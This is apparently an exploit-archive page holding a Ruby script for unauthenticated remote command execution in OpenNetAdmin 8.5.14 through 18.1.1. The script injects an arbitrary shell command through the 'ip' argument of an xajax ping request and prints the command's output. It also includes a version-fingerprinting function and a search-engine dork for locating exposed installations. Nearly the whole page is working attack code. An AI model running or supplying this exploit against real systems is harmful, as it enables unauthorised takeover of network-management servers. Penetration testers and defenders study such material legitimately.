OpenNetAdmin 18.1.1 Remote Command Execution

OpenNetAdmin versions 8.5.14 through 18.1.1 remote command execution exploit written in Ruby. This exploit was based on the original discovery of the issue by mattpascoe.


MD5 | b2ea2bd02abebc013ca6ae8665950e12

#!/usr/bin/env ruby

# Exploit
## Title: OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution
## Google Dorks:
## inurl:/ona/
## Author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
## Author website: https://pwn.by/noraj/
## Date: 2021-05-07
## Vendor Homepage: https://github.com/opennetadmin/ona
## Software Link: https://github.com/opennetadmin/ona/archive/refs/tags/v18.1.1.tar.gz
## Version: 8.5.14 to 18.1.1
## Tested on: OpenNetAdmin 18.1.1
## Patch: Use git master branch (no new version released)

# Vulnerabilities
## Discoverer: mattpascoe
## Date: 2019-11-19
## Discoverer website: https://github.com/mattpascoe
## Discovered on OpenNetAdmin 18.1.1
## Vulnerability 1:
## Title: OpenNetAdmin 18.1.1 - Remote Code Execution
## CVE: none
## References: https://www.exploit-db.com/exploits/47691

require 'httpx'
require 'docopt'

doc = <<~DOCOPT
OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution

Usage:
#{__FILE__} exploit <url> <cmd> [--debug]
#{__FILE__} version <url> [--debug]
#{__FILE__} -h | --help

exploit: Exploit the RCE vuln
version: Try to fetch OpenNetAdmin version

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen

Examples:
#{__FILE__} exploit http://example.org id
#{__FILE__} exploit https://example.org:5000/ona 'touch hackproof'
#{__FILE__} version https://example.org:5000/ona
DOCOPT

def exploit(root_url, cmd, separator)
params = {
'xajax' => 'window_submit',
'xajaxargs' => ['tooltips', "ip=>; echo #{separator}; #{cmd} 2>&1; echo #{separator}", 'ping']
}

res = HTTPX.post(root_url, form: params).body.to_s.match(/#{separator}(.*)#{separator}/m)

return '[-] Target not vulnerable' if res.captures[0].nil?

res.captures[0]
end

def version(root_url)
params = {
'xajax' => 'window_open',
'xajaxargs' => ['app_about']
}

res = HTTPX.post(root_url, form: params).body.to_s.match(/<u>&copy; \d{4} OpenNetAdmin - v(\S+)<\/u>/)

return '[-] Version not found' if res.captures[0].nil?

res.captures[0]
end

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

if args['version']
puts version(args['<url>'])
else
SEPARATOR = '556cc23863fef20fab5c456db166bc6e'.freeze

output = exploit(args['<url>'], args['<cmd>'], SEPARATOR)
puts '[+] Command output:'
puts output
end
rescue Docopt::Exit => e
puts e.message
end

Related Posts